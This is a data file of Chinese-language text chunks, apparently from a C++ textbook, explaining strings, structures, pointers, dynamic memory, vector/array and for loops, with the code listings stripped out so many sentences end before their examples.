    {"text": "可以单独进行调用： 也可以利用表达式cin>>year返回cin对象，将调用拼接起来： 按上述任何一种方法修改程序清单4.6后，它便可以正常工作： C++程序常使用指针（而不是数组）来处理字符串。"},
    {"text": "4.3 string类简介 ISO/ANSI C++98标准通过添加string类扩展了C++库，因此现在可以string类型的变量（使用C++的话说是对象）而不是字符数组来存储字符串。 您将看到，string类使用起来比数组简单，同时提供了将字符串作为一种数据类型的表示方法。 要使用string类，必须在程序中包含头文件string。 string类位于名称空间std中，因此您必须提供一条using编译指令，或者使用std::string来引用它。 string类定义隐藏了字符串的数组性质，让您能够像处理普通变量那样处理字符串。 程序清单4.7说明了string对象与字符数组之间的一些相同点和不同点。 程序清单4.7 strtype1.cpp 下面是该程序的运行情况： 从这个示例可知，在很多方面，使用string对象的方式与使用字符数组相同。 可以使用C-风格字符串来初始化string对象。 可以使用cin来将键盘输入存储到string对象中。 可以使用cout来显示string对象。 可以使用数组表示法来访问存储在string对象中的字符。"},
    {"text": "程序清单4.7表明，string对象和字符数组之间的主要区别是，可以将string对象声明为简单变量，而不是数组： 类设计让程序能够自动处理string的大小。 例如，str1的声明创建一个长度为0的string对象，但程序将输入读取到str1中时，将自动调整str1的长度： 这使得与使用数组相比，使用string对象更方便，也更安全。 从理论上说，可以将char数组视为一组用于存储一个字符串的char存储单元，而string类变量是一个表示字符串的实体。 4.3.1 C++11字符串初始化 正如您预期的，C++11也允许将列表初始化用于C-风格字符串和string对象： 4.3.2 赋值、拼接和附加 使用string类时，某些操作比使用数组时更简单。 例如，不能将一个数组赋给另一个数组，但可以将一个string对象赋给另一个string对象： string类简化了字符串合并操作。 可以使用运算符+将两个string对象合并起来，还可以使用运算符+=将字符串附加到string对象的末尾。"},
    {"text": "例如，可以使用函数strcpy( )将字符串复制到字符数组中，使用函数strcat( )将字符串附加到字符数组末尾： 程序清单4.9对用于string对象的技术和用于字符数组的技术进行了比较。 程序清单4.9 strtype3.cpp 下面是该程序的输出： 处理string对象的语法通常比使用C字符串函数简单，尤其是执行较为复杂的操作时。 例如，对于下述操作： 使用C-风格字符串时，需要使用的函数如下： 另外，使用字符数组时，总是存在目标数组过小，无法存储指定信息的危险，如下面的示例所示： 函数strcat( )试图将全部12个字符复制到数组site中，这将覆盖相邻的内存。"},
    {"text": "C函数库确实提供了与strcat( )和strcpy( )类似的函数—strncat( )和strncpy( )，它们接受指出目标数组最大允许长度的第三个参数，因此更为安全，但使用它们进一步增加了编写程序的复杂度。"},
    {"text": "下面是两种确定字符串中字符数的方法： 函数strlen( )是一个常规函数，它接受一个C-风格字符串作为参数，并返回该字符串包含的字符数。"},
    {"text": "函数size( )的功能基本上与此相同，但句法不同：str1不是被用作函数参数，而是位于函数名之前，它们之间用句点连接。 与第3章介绍的put( )方法相同，这种句法表明，str1是一个对象，而size( )是一个类方法。"},
    {"text": "4.3.4 string类I/O 正如您知道的，可以使用cin和运算符<<来将输入存储到string对象中，使用cout和运算符<<来显示string对象，其句法与处理C-风格字符串相同。"},
    {"text": "程序清单4.10 strtype4.cpp 下面是一个运行该程序时的输出示例： 在用户输入之前，该程序指出数组charr中的字符串长度为27，这比该数组的长度要大。"},
    {"text": "因此istream的设计考虑到了诸如double和int等基本C++数据类型，但没有考虑string类型，所以istream类中，有处理double、int和其他基本类型的类方法，但没有处理string对象的类方法。"},
    {"text": "对于这些类型的字符串字面值，C++分别使用前缀L、u和U表示，下面是一个如何使用这些前缀的例子： C++11还支持Unicode字符编码方案UTF-8。"},
    {"text": "在原始字符串中，字符表示的就是自己，例如，序列\\n不表示换行符，而表示两个常规字符—斜杠和n，因此在屏幕上显示时，将显示这两个字符。"},
    {"text": "因此，原始字符串将\"(和)\"用作定界符，并使用前缀R来标识原始字符串： 上述代码将显示如下内容： 如果使用标准字符串字面值，将需编写如下代码： 在上述代码中，使用了\\来显示\\，因为单个\\表示转义序列的第一个字符。"},
    {"text": "结构是一种比数组更灵活的数据格式，因为同一个结构可以存储多种类型的数据，这使得能够将有关篮球运动员的信息放在一个结构中，从而将数据的表示合并到一起。"},
    {"text": "图4.6 结构描述的组成部分 定义结构后，便可以创建这种类型的变量了： 如果您熟悉C语言中的结构，则可能已经注意到了，C++允许在声明结构变量时省略关键字struct： 在C++中，结构标记的用法与基本类型名相同。"},
    {"text": "程序清单4.11说明了有关结构的这些问题，还演示了如何初始化结构。 程序清单4.11 structur.cpp 下面是该程序的输出： 程序说明 结构声明的位置很重要。"},
    {"text": "可以将声明放在main( )函数中，紧跟在开始括号的后面。 另一种选择是将声明放到main( )的前面，这里采用的便是这种方式，位于函数外面的声明被称为外部声明。"},
    {"text": "外部声明可以被其后面的任何函数使用，而内部声明只能被该声明所属的函数使用。 通常应使用外部声明，这样所有函数都可以使用这种类型的结构（参见图4.7）。 图4.7 局部结构声明和外部结构声明 变量也可以在函数内部和外部定义，外部变量由所有的函数共享（这将在第9章做更详细的介绍）。"},
    {"text": "4.4.2 C++11结构初始化 与数组一样，C++11也支持将列表初始化用于结构，且等号（=）是可选的： 其次，如果大括号内未包含任何东西，各个成员都将被设置为零。"},
    {"text": "另外，还可以使用赋值运算符（=）将结构赋给另一个同类型的结构，这样结构中每个成员都将被设置为另一个结构中相应成员的值，即使成员是数组。"},
    {"text": "程序清单4.12 assgn_st.cpp 下面是该程序的输出： 从中可以看出，成员赋值是有效的，因为choice结构的成员值与bouquet结构中存储的值相同。"},
    {"text": "为此，只需将变量名放在结束括号的后面即可： 甚至可以初始化以这种方式创建的变量： 然而，将结构定义和变量声明分开，可以使程序更易于阅读和理解。"},
    {"text": "还可以声明没有名称的结构类型，方法是省略名称，同时定义一种结构类型和一个这种类型的变量： 这样将创建一个名为position的结构变量。 可以使用成员运算符来访问它的成员（如position.x），但这种类型没有名称，因此以后无法创建这种类型的变量。"},
    {"text": "除了C++程序可以使用结构标记作为类型名称外，C结构具有到目前为止讨论的C++结构的所有特性（C++11特性除外），但C++结构的特性更多。"},
    {"text": "例如，要创建一个包含100个inflatable结构的数组，可以这样做： 这样，gifts将是一个inflatable数组，其中的每个元素（如gifts[0]或gifts[99]）都是inflatable对象，可以与成员运算符一起使用： 记住，gifts本身是一个数组，而不是结构，因此像gifts.price这样的表述是无效的。"},
    {"text": "要初始化结构数组，可以结合使用初始化数组的规则（用逗号分隔每个元素的值，并将这些值用花括号括起）和初始化结构的规则（用逗号分隔每个成员的值，并将这些值用花括号括起）。 由于数组中的每个元素都是结构，因此可以使用结构初始化的方式来提供它的值。"},
    {"text": "因此，最终结果为一个被括在花括号中、用逗号分隔的值列表，其中每个值本身又是一个被括在花括号中、用逗号分隔的值列表： 可以按自己喜欢的方式来格式化它们。"},
    {"text": "程序清单4.13 arrstruc.cpp 下面是该程序的输出： 4.4.6 结构中的位字段 与C语言一样，C++也允许指定占用特定位数的结构成员，这使得创建与某个硬件设备上的寄存器对应的数据结构非常方便。"},
    {"text": "例如，请看下面的声明： 可以使用one4all变量来存储int、long或double，条件是在不同的时间进行： 因此，pail有时可以是int变量，而有时又可以是double变量。"},
    {"text": "显然，每次只有一个成员是当前的成员： 由于共用体是匿名的，因此id_num和id_char被视为prize的两个成员，它们的地址相同，所以不需要中间标识符id_val。"},
    {"text": "在不进行强制类型转换的情况下，只能将定义枚举时使用的枚举量赋给这种枚举的变量，如下所示： 因此，spectrum变量受到限制，只有8个可能的值。"},
    {"text": "枚举量是整型，可被提升为int类型，但int类型不能自动转换为枚举类型： 虽然在这个例子中，3对应的枚举量是green，但将3赋给band将导致类型错误。"},
    {"text": "结果是不确定的，这意味着这样做不会出错，但不能依赖得到的结果： 请参阅本章后面的“枚举的取值范围”一节，以了解一下哪些值合适，哪些值不合适。"},
    {"text": "如果打算只使用常量，而不创建枚举类型的变量，则可以省略枚举类型的名称，如下面的例子所示： 4.6.1 设置枚举量的值 可以使用赋值运算符来显式地设置枚举量的值： 指定的值必须是整数。"},
    {"text": "程序清单4.14 address.cpp 下面是该程序在某个系统上的输出： 显示地址时，该实现的cout使用十六进制表示法，因为这是常用于描述内存的表示法（有些实现可能使用十进制表示法）。"},
    {"text": "下面来看看指针策略，它是C++内存管理编程理念的核心（参见旁注“指针与C++基本原理”）。 指针与C++基本原理 面向对象编程与传统的过程性编程的区别在于，OOP强调的是在运行阶段（而不是编译阶段）进行决策。"},
    {"text": "*运算符被称为间接值（indirect velue）或解除引用（dereferencing）运算符，将其应用于指针，可以得到该地址处存储的值（这和乘法使用的符号相同；"},
    {"text": "由于*运算符被用于指针，因此p_updates变量本身必须是指针。 我们说p_updates指向int类型，我们还说p_updates的类型是指向int的指针，或int*。 可以这样说，p_updates是指针（地址），而*p_updates是int，而不是指针（见图4.9）。"},
    {"text": "传统上，C程序员使用这种格式： 这强调*ptr是一个int类型的值。 而很多C++程序员使用这种格式： 这强调的是：int*是一种类型—指向int的指针。"},
    {"text": "在哪里添加空格对于编译器来说没有任何区别，您甚至可以这样做： 但要知道的是，下面的声明创建一个指针（p1）和一个int变量（p2）： 对每个指针变量名，都需要使用一个*。"},
    {"text": "可以用同样的句法来声明指向其他类型的指针： 由于已将tax_ptr声明为一个指向double的指针，因此编译器知道*tax_ptr是一个double类型的值。"},
    {"text": "也就是说，下面的语句将pt（而不是*pt）的值设置为&higgens： 程序清单4.16演示了如何将指针初始化为一个地址。 程序清单4.16 init_ptr.cpp 下面是该程序的示例输出： 从中可知，程序将pi（而不是*pi）初始化为higgens的地址。"},
    {"text": "4.7.3 指针和数字 指针不是整型，虽然计算机通常把地址当作整数来处理。 从概念上看，指针与整数是截然不同的类型。 整数是可以执行加、减、除等运算的数字，而指针描述的是位置，将两个地址相乘没有任何意义。 从可以对整数和指针执行的操作上看，它们也是彼此不同的。 因此，不能简单地将整数赋给指针： 在这里，左边是指向int的指针，因此可以把它赋给地址，但右边是一个整数。"},
    {"text": "变量是在编译时分配的有名称的内存，而指针只是为可以通过名称直接访问的内存提供了一个别名。 指针真正的用武之地在于，在运行阶段分配未命名的内存以存储值。"},
    {"text": "接下来，将地址赋给pn，pn是被声明为指向int的指针。 现在，pn是地址，而*pn是存储在那里的值。 将这种方法与将变量的地址赋给指针进行比较： 在这两种情况（pn和pt）下，都是将一个int变量的地址赋给了指针。"},
    {"text": "为一个数据对象（可以是结构，也可以是基本类型）获得并指定分配内存的通用格式如下： 需要在两个地方指定数据类型：用来指定需要什么样的内存和用来声明合适的指针。"},
    {"text": "指针pt和pd指向这两个数据对象，如果没有它们，将无法访问这些内存单元。 有了这两个指针，就可以像使用变量那样使用*pt和*pd了。 将值赋给*pt和*pd，从而将这些值赋给新的数据对象。 同样，可以通过打印*pt和*pd来显示这些值。"},
    {"text": "地址本身只指出了对象存储地址的开始，而没有指出其类型（使用的字节数）。 从这两个值的地址可以知道，它们都只是数字，并没有提供类型或长度信息。"},
    {"text": "它们都是地址，但由于use_new.cpp声明了指针的类型，因此程序知道*pd是8个字节的double值，*pt是4个字节的int值。 use_new.cpp打印*pd的值时，cout知道要读取多少字节以及如何解释它们。"},
    {"text": "在C++中，值为0的指针被称为空指针（null pointer）。 C++确保空指针不会指向有效的数据，因此它常被用来表示运算符或函数失败（如果成功，它们将返回一个有用的指针）。"},
    {"text": "4.7.5 使用delete释放内存 当需要内存时，可以使用new来请求，这只是C++内存管理数据包中有魅力的一个方面。 另一个方面是delete运算符，它使得在使用完内存后，能够将其归还给内存池，这是通向最有效地使用内存的关键一步。"},
    {"text": "这并不意味着要使用用于new的指针，而是用于new的地址： 一般来说，不要创建两个指向同一个内存块的指针，因为这将增加错误地删除同一个内存块两次的可能性。"},
    {"text": "4.7.6 使用new来创建动态数组 如果程序只需要一个值，则可能会声明一个简单变量，因为对于管理一个小型数据对象来说，这样做比使用new和指针更简单，尽管给人留下的印象不那么深刻。"},
    {"text": "下面来看一下关于动态数组的两个基本问题：如何使用C++的new运算符创建数组以及如何使用指针访问数组元素。 1．使用new创建动态数组 在C++中，创建动态数组很容易；"},
    {"text": "当程序使用完new分配的内存块时，应使用delete释放它们。 然而，对于使用new创建的数组，应使用另一种格式的delete来释放： 方括号告诉程序，应释放整个数组，而不仅仅是指针指向的元素。 请注意delete和指针之间的方括号。 如果使用new时，不带方括号，则使用delete时，也不应带方括号。 如果使用new时带方括号，则使用delete时也应带方括号。"},
    {"text": "可以这样做的原因是，C和C++内部都使用指针来处理数组。 数组和指针基本等价是C和C++的优点之一（这在有时候也是个问题，但这是另一码事）。"},
    {"text": "将整数变量加1后，其值将增加1； 但将指针变量加1后，增加的量等于它指向的类型的字节数。 将指向double的指针加1后，如果系统对double使用8个字节存储，则数值将增加8； 将指向short的指针加1后，如果系统对short使用2个字节存储，则指针值将增加2。"},
    {"text": "因此，下面的语句将pw声明为指向double类型的指针，然后将它初始化为wages—wages数组中第1个元素的地址： 和所有数组一样，wages也存在下面的等式： 为表明情况确实如此，该程序在表达式&stacks[0]中显式地使用地址运算符来将ps指针初始化为stacks数组的第1个元素。"},
    {"text": "现在来看一看数组表达式stacks[1]。 C++编译器将该表达式看作是*（stacks + 1），这意味着先计算数组第2个元素的地址，然后找到存储在那里的值。 最后的结果便是stacks [1]的含义（运算符优先级要求使用括号，如果不使用括号，将给*stacks加1，而不是给stacks加1）。 从该程序的输出可知，*（stacks + 1）和stacks[1]是等价的。 同样，*（stacks + 2）和stacks[2]也是等价的。"},
    {"text": "通常，使用数组表示法时，C++都执行下面的转换： 如果使用的是指针，而不是数组名，则C++也将执行同样的转换： 因此，在很多情况下，可以相同的方式使用指针名和数组名。"},
    {"text": "区别之一是，可以修改指针的值，而数组名是常量： 另一个区别是，对数组应用sizeof运算符得到的是数组的长度，而对指针应用sizeof得到的是指针的长度，即使指针指向的是一个数组。"},
    {"text": "例如，在程序清单4.19中，pw和wages指的是同一个数组，但对它们应用sizeof运算符得到的结果如下： 这种情况下，C++不会将数组名解释为地址。"},
    {"text": "等等，数组名难道不被解释为数组的地址吗？ 不完全如此：数组名被解释为其第一个元素的地址，而对数组名应用地址运算符时，得到的是整个数组的地址： 从数字上说，这两个地址相同；"},
    {"text": "但从概念上说，&tell[0]（即tell）是一个2字节内存块的地址，而&tell是一个20字节内存块的地址。 因此，表达式tell + 1将地址值加2，而表达式&tell + 2将地址加20。 换句话说，tell是一个short指针（* short），而&tell是一个这样的指针，即指向包含20个元素的short数组（short (*) [20]）。"},
    {"text": "首先，您可以这样声明和初始化这种指针： 如果省略括号，优先级规则将使得pas先与[20]结合，导致pas是一个short指针数组，它包含20个元素，因此括号是必不可少的。"},
    {"text": "1．声明指针 要声明指向特定类型的指针，请使用下面的格式： 下面是一些示例： 其中，pn和pc都是指针，而double *和char *是指向double的指针和指向char的指针。"},
    {"text": "下面是一些示例： 7．数组的动态联编和静态联编 使用数组声明来创建数组时，将采用静态联编，即数组的长度在编译时设置： 使用new[ ]运算符创建数组时，将采用动态联编（动态数组），即将在运行时为数组分配空间，其长度也将在运行时设置。"},
    {"text": "使用完这种数组后，应使用delete [ ]释放其占用的内存： 8．数组表示法和指针表示法 使用方括号数组表示法等同于对指针解除引用： 数组名和指针变量都是如此，因此对于指针和数组名，既可以使用指针表示法，也可以使用数组表示法。"},
    {"text": "cout对象认为char的地址是字符串的地址，因此它打印该地址处的字符，然后继续打印后面的字符，直到遇到空字符（\\0）为止。 总之，如果给cout提供一个字符的地址，则它将从该字符开始打印，直到遇到空字符为止。"},
    {"text": "为了与cout对字符串输出的处理保持一致，这个用引号括起的字符串也应当是一个地址。 在C++中，用引号括起的字符串像数组名一样，也是第一个元素的地址。"},
    {"text": "程序清单4.20 ptrstr.cpp 下面是该程序的运行情况： 程序说明 程序清单4.20中的程序创建了一个char数组（animal）和两个指向char的指针变量（bird和ps）。"},
    {"text": "然后，程序执行了一些新的操作，将char指针初始化为指向一个字符串： 记住，“wren”实际表示的是字符串的地址，因此这条语句将“wren”的地址赋给了bird指针。"},
    {"text": "）这意味着可以像使用字符串“wren”那样使用指针bird，如下面的示例所示： 字符串字面值是常量，这就是为什么代码在声明中使用关键字const的原因。 以这种方式使用const意味着可以用bird来访问字符串，但不能修改它。"},
    {"text": "然而，使用bird来进行输入并不合适： 有些编译器将字符串字面值视为只读常量，如果试图修改它们，将导致运行阶段错误。 在C++中，字符串字面值都将被视为常量，但并不是所有的编译器都对以前的行为做了这样的修改。 有些编译器只使用字符串字面值的一个副本来表示程序中所有的该字面值。"},
    {"text": "但如果指针的类型为char *，则cout将显示指向的字符串。 如果要显示的是字符串的地址，则必须将这种指针强制转换为另一种指针类型，如int *（上面的代码就是这样做的）。"},
    {"text": "strcpy( )在前面已经介绍过，其工作原理如下： 注意，类似下面这样的代码可能导致问题，因为food数组比字符串小： 在这种情况下，函数将字符串中剩余的部分复制到数组后面的内存字节中，这可能会覆盖程序正在使用的其他内存。"},
    {"text": "因此，应该这样使用该函数： 这样最多将19个字符复制到数组中，然后将最后一个元素设置成空字符。 如果该字符串少于19个字符，则strncpy( )将在复制完该字符串之后加上空字符，以标记该字符串的结尾。"},
    {"text": "您对使用C-风格字符串和cstring库的一些方面有了了解后，便可以理解为何使用C++ string类型更为简单了：您不用担心字符串会导致数组越界，并可以使用赋值运算符而不是函数strcpy( )和strncpy( )。"},
    {"text": "例如，要创建一个未命名的inflatable类型，并将其地址赋给一个指针，可以这样做： 这将把足以存储inflatable结构的一块可用内存的地址赋给ps。"},
    {"text": "另一种访问结构成员的方法是，如果ps是指向结构的指针，则*ps就是被指向的值—结构本身。 由于*ps是一个结构，因此（*ps）.price是该结构的price成员。"},
    {"text": "程序清单4.21 newstrct.cpp 下面是该程序的运行情况： 1．一个使用new和delete的示例 下面介绍一个使用new和delete来存储通过键盘输入的字符串的示例。"},
    {"text": "将new和delete放在不同的函数中通常并不是个好办法，因为这样很容易忘记使用delete。 不过这个例子确实把new和delete分开放置了，只是为了说明这样做也是可以的。"},
    {"text": "4.8.5 自动存储、静态存储和动态存储 根据用于分配内存的方法，C++有3种管理数据内存的方式：自动存储、静态存储和动态存储（有时也叫作自由存储空间或堆）。"},
    {"text": "1．自动存储 在函数内部定义的常规变量使用自动存储空间，被称为自动变量（automatic variable），这意味着它们在所属的函数被调用时自动产生，在该函数结束时消亡。"},
    {"text": "当程序控制权回到main( )时，temp使用的内存将自动被释放。 如果getname( )返回temp的地址，则main( )中的name指针指向的内存将很快得到重新使用。"},
    {"text": "另一种是在声明变量时使用关键字static： 在K&R C中，只能初始化静态数组和静态结构，而C++ Release 2.0（及后续版本）和ANSI C中，也可以初始化自动数组和自动结构。"},
    {"text": "在栈中，自动添加和删除机制使得占用的内存总是连续的，但new和delete的相互影响可能导致占用的自由存储区不连续，这使得跟踪新分配内存的位置更困难。 栈、堆和内存泄漏 如果使用new运算符在自由存储空间（或堆）上创建变量后，没有调用delete，将发生什么情况呢？ 如果没有调用delete，则即使包含指针的内存由于作用域规则和对象生命周期的原因而被释放，在自由存储空间上动态分配的变量或结构也将继续存在。"},
    {"text": "极端情况（不过不常见）是，内存泄漏可能会非常严重，以致于应用程序可用的内存被耗尽，出现内存耗尽错误，导致程序崩溃。 另外，这种泄漏还会给一些操作系统或在相同的内存空间中运行的应用程序带来负面影响，导致它们崩溃。"},
    {"text": "注意： 指针是功能最强大的C++工具之一，但也最危险，因为它们允许执行对计算机不友好的操作，如使用未经初始化的指针来访问内存或者试图释放同一个内存块两次。"},
    {"text": "可以各种方式组合它们，下面介绍其中的一些，从结构开始： 可以创建这种类型的变量： 然后使用成员运算符访问其成员： 可创建指向这种结构的指针： 将该指针设置为有效地址后，就可使用间接成员运算符来访问成员： 可创建结构数组： 然后，可以使用成员运算符访问元素的成员： 其中trio是一个数组，trio[0]是一个结构，而trio[0].year是该结构的一个成员。 由于数组名是一个指针，因此也可使用间接成员运算符： 可创建指针数组： 咋一看，这有点复杂。"},
    {"text": "既然arp是一个指针数组，arp[1]就是一个指针，可将间接成员运算符应用于它，以访问成员： 可创建指向上述数组的指针： 其中arp是一个数组的名称，因此它是第一个元素的地址。"},
    {"text": "编译器知道arp的类型，能够正确地推断出ppb的类型： 在以前，编译器利用它推断的类型来指出声明错误，而现在，您可利用它的这种推断能力。"},
    {"text": "由于ppa是一个指向结构指针的指针，因此*ppa是一个结构指针，可将间接成员运算符应用于它： 由于ppa指向arp的第一个元素，因此*ppa为第一个元素，即&s01。"},
    {"text": "一般而言，下面的声明创建一个名为vt的vector对象，它可存储n_elem个类型为typeName的元素： 其中参数n_elem可以是整型常量，也可以是整型变量。"},
    {"text": "要创建array对象，需要包含头文件array。 array对象的创建语法与vector稍有不同： 推而广之，下面的声明创建一个名为arr的array对象，它包含n_elem个类型为typename的元素： 与创建vector对象不同的是，n_elem不能是变量。"},
    {"text": "4.10.3 比较数组、vector对象和array对象 要了解数组、vector对象和array对象的相似和不同之处，最简单的方式可能是看一个使用它们的简单示例，如程序清单4.24所示。"},
    {"text": "程序清单4.24 choices.cpp 下面是该程序的输出示例： 程序说明 首先，注意到无论是数组、vector对象还是array对象，都可使用标准数组表示法来访问各个元素。"},
    {"text": "就像可以使用cin对象的成员函数getline()一样，您也可以使用vector和array对象的成员函数at()： 中括号表示法和成员函数at()的差别在于，使用at()时，将在运行期间捕获非法索引，而程序默认将中断。"},
    {"text": "如果数据对象是数组，则可以像使用数组名那样使用指针来访问元素； 如果数据对象是结构，则可以用指针解除引用运算符（->）来访问其成员。"},
    {"text": "自动变量是在函数中声明的变量，而静态变量是在函数外部或者使用关键字static声明的变量，这两种变量都不太灵活。 自动变量在程序执行到其所属的代码块（通常是函数定义）时产生，在离开该代码块时终止。"},
    {"text": "12．假设treacle是一个包含10个元素的float数组，请声明一个指向treacle的第一个元素的指针，并使用该指针来显示数组的第一个元素和最后一个元素。"},
    {"text": "6．结构CandyBar包含3个成员，如编程练习5所示。 请编写一个程序，创建一个包含3个元素的CandyBar数组，并将它们初始化为所选择的值，然后显示每个结构的内容。"},
    {"text": "事实上，它使用与常规C语言相同的for循环、while循环、do while循环、if语句和switch语句，如果读者熟悉C语言，可粗略地浏览本章和第6章；"},
    {"text": "5.1 for循环 很多情况下都需要程序执行重复的任务，如将数组中的元素累加起来或将歌颂生产的赞歌打印20份，C++中的for循环可以轻松地完成这种任务。"},
    {"text": "然后，循环测试（loop test）部分检查i是否小于5： 如果确实小于5，则程序将执行接下来的语句—循环体（loop body）： 然后，程序使用循环更新（loop update）部分将i加1： 这里使用了++运算符—递增运算符（increment operator），它将操作数的值加1。"},
    {"text": "接下来，循环开始了新的周期，将新的i值与5进行比较。 由于新值（1）也小于5，因此循环打印另一行，然后再次将i加1，从而结束这一周期。 这样又进入了新的一轮测试、执行语句和更新i的值。"},
    {"text": "控制部分后面的语句叫作循环体，只要测试表达式为true，它便被执行： C++语法将整个for看作一条语句—虽然循环体可以包含一条或多条语句。"},
    {"text": "然而，C++添加了bool类型后，关系表达式就判定为bool字面值true和false，而不是1和0了。 这种变化不会导致不兼容的问题，因为C++程序在需要整数值的地方将把true和false分别转换为1和0，而在需要bool值的地方将把0转换为false，非0转换为true。"},
    {"text": "这意味着在每轮循环之前，都将计算测试表达式的值，当测试表达式为false时，将不会执行循环体。 例如，假设重新运行程序清单5.2中的程序，但将起始值设置为0，则由于测试条件在首次被判定时便为false，循环体将不被执行： 这种在循环之前进行检查的方式可避免程序遇到麻烦。"},
    {"text": "例如，下面的表达式由两个值和一个加号组成，它的值为49： 有时值不这么明显，例如，下面是一个表达式，因为它由两个值和一个赋值运算符组成： C++将赋值表达式的值定义为左侧成员的值，因此这个表达式的值为20。"},
    {"text": "下面是该程序的输出： 通常，cout在显示bool值之前将它们转换为int，但cout.setf（ios：：boolalpha）函数调用设置了一个标记，该标记命令cout显示true和false，而不是1和0。"},
    {"text": "当判定表达式的值这种操作改变了内存中数据的值时，我们说表达式有副作用（side effect）。 因此，判定赋值表达式会带来这样的副作用，即修改被赋值者的值。"},
    {"text": "在下面的示例中，for循环不是表达式，因此没有值，也不能给它赋值： 3．修改规则 C++在C循环的基础上添加了一项特性，要求对for循环句法做一些微妙的调整。"},
    {"text": "这种一度是非法的行为最初是通过定义一种新的表达式—声明语句表达式（declaration-statement expression）—来合法化的，声明语句表达式不带分号声明，只能出现在for语句中。"},
    {"text": "但是这是允许的，因为for-init-statement被视为一条语句，而语句有自己的分号。 对于for-init-statement来说，它既可以是表达式语句，也可以是声明。 这种句法规则用语句替换了后面跟分号的表达式，语句本身有自己的分号。"},
    {"text": "这种变量只存在于for语句中，也就是说，当程序离开循环后，这种变量将消失： 您还应知道的一点是，有些较老的C++实现遵循以前的规则，对于前面的循环，将把i视为是在循环之前声明的，因此在循环结束后，i仍可用。"},
    {"text": "每个整数的阶乘都是该整数与前一个阶乘的乘积（钢琴家Victor Borge最著名的独白以其语音标点为特色，其中，惊叹号的发音就像phffft pptz，带有濡湿的口音。"},
    {"text": "在这个例子中，程序只有一个函数，因此在外部声明ArSize几乎没有任何实际用处，但包含多个函数的程序常常会受益于共享外部常量，因此我们现在就开始练习使用外部变量。"},
    {"text": "5.1.5 递增运算符（++）和递减运算符（−−） C++中有多个常被用在循环中的运算符，因此我们花一点时间来讨论它们。 前面已经介绍了两个这样的运算符：递增运算符（++）（名称C++由此得到）和递减运算符（−−）。"},
    {"text": "例如，我们有下面这样的关系： 递增和递减运算符是处理将值加减1这种常见任务的一种简约、方便的方法。 递增运算符和递减运算符都是漂亮的小型运算符，不过千万不要失去控制，在同一条语句对同一个值递增或递减多次。"},
    {"text": "在C++中，语句中的分号就是一个顺序点，这意味着程序处理下一条语句之前，赋值运算符、递增运算符和递减运算符执行的所有修改都必须完成。"},
    {"text": "在这个例子中，整条赋值语句是一个完整表达式，而分号标示了顺序点，因此C++只保证程序执行到下一条语句之前，x的值将被递增两次。 C++没有规定是在计算每个子表达式之后将x的值递增，还是在整个表达式计算完毕后才将x的值递增，有鉴于此，您应避免使用这样的表达式。"},
    {"text": "在上面的例子中，使用这些运算符的表达式为完整表达式，因此将x加1和n减1的副作用将在程序进入下一步之前完成，前缀格式和后缀格式的最终效果相同。"},
    {"text": "5.1.8 递增/递减运算符和指针 可以将递增运算符用于指针和基本变量。 本书前面介绍过，将递增运算符用于指针时，将把指针的值增加其指向的数据类型占用的字节数，这种规则适用于对指针递增和递减： 也可以结合使用这些运算符和*运算符来修改指针指向的值。"},
    {"text": "前缀递增、前缀递减和解除引用运算符的优先级相同，以从右到左的方式进行结合。 后缀递增和后缀递减的优先级相同，但比前缀运算符的优先级高，这两个运算符以从左到右的方式进行结合。"},
    {"text": "前缀运算符的从右到到结合规则意味着*++pt的含义如下：现将++应用于pt（因为++位于*的右边），然后将*应用于被递增后的pt： 另一方面，++*pt意味着先取得pt指向的值，然后将这个值加1： 在这种情况下，pt仍然指向arr[2]。"},
    {"text": "最后，来看看下面的组合： 后缀运算符++的优先级更高，这意味着将运算符用于pt，而不是*pt，因此对指针递增。 然而后缀运算符意味着将对原来的地址（&arr[2]）而不是递增后的新地址解除引用，因此*pt++的值为arr[2]，即25.4，但该语句执行完毕后，pt的值将为arr[3]的地址。"},
    {"text": "5.1.9 组合赋值运算符 程序清单5.5使用了下面的表达式来更新循环计数： C++有一种合并了加法和赋值操作的运算符，能够更简洁地完成这种任务： +=运算符将两个操作数相加，并将结果赋给左边的操作数。"},
    {"text": "这意味着左边的操作数必须能够被赋值，如变量、数组元素、结构成员或通过对指针解除引用来标识的数据： 每个算术运算符都有其对应的组合赋值运算符，表5.1对它们进行了总结。"},
    {"text": "因此，下面的语句将k与10相乘，再将结果赋给k： 表5.1 组合赋值运算符 操 作 符 作用（L为左操作数，R为右操作数） += 将L+R赋给L -= 将L-R赋给L *= 将L*R赋给L /= 将L/R赋给L %= 将L%R赋给L 5.1.10 复合语句（语句块） 编写C++for语句的格式（或句法）看上去可能比较严格，因为循环体必须是一条语句。"},
    {"text": "方法是用两个花括号来构造一条复合语句（代码块）。 代码块由一对花括号和它们包含的语句组成，被视为一条语句，从而满足句法的要求。 例如，程序清单5.8中的程序使用花括号将3条语句合并为一个代码块。"},
    {"text": "程序清单5.8 block.cpp 下面是该程序的运行情况： 假设对循环体进行了缩进，但省略了花括号： 编译器将忽略缩进，因此只有第一条语句位于循环中。"},
    {"text": "然后就变量再次可见，如下例所示： 5.1.11 其他语法技巧—逗号运算符 正如读者看到的，语句块允许把两条或更多条语句放到按C++句法只能放一条语句的地方。 逗号运算符对表达式完成同样的任务，允许将两个表达式放到C++句法只允许放一个表达式的地方。"},
    {"text": "例如，下面这个声明中的逗号将变量列表中相邻的名称分开： 程序清单5.9在一个程序中使用了两次逗号运算符，该程序将一个string类对象的内容反转。"},
    {"text": "首先，它使用逗号运算符将两个初始化操作放进控制部分第一部分的表达式中。 然后，再次使用逗号运算符将两个更新合并到控制部分最后一部分的表达式中。"},
    {"text": "也可以使用一个声明语句表达式来创建并初始化两个变量，但是这样看起来有些乱： 在这种情况下，逗号只是一个列表分隔符，而不是逗号运算符，因此该表达式对j和i进行声明和初始化。"},
    {"text": "然而，由于括号的优先级最高，下面的表达式将把cats设置为240—逗号右侧的表达式值： 5.1.12 关系表达式 计算机不只是机械的数字计数器。"},
    {"text": "对于所有的关系表达式，如果比较结果为真，则其值将为true，否则为false，因此可将其用作循环测试表达式。 （老式实现认为结果为true的关系表达式的值为1，而结果为false的关系表达式为0。"},
    {"text": "表5.2 关系运算符 操 作 符 含 义 < 小于 <= 小于或等于 = = 等于 > 大于 >= 大于或等于 != 不等于 这6种关系运算符可以在C++中完成对数字的所有比较。"},
    {"text": "这意味着表达式： 对应于： 而不是： 由于将bool值提升为int后，表达式(3>y)要么为1，要么为0，因此第二个和第三个表达式都是有效的。"},
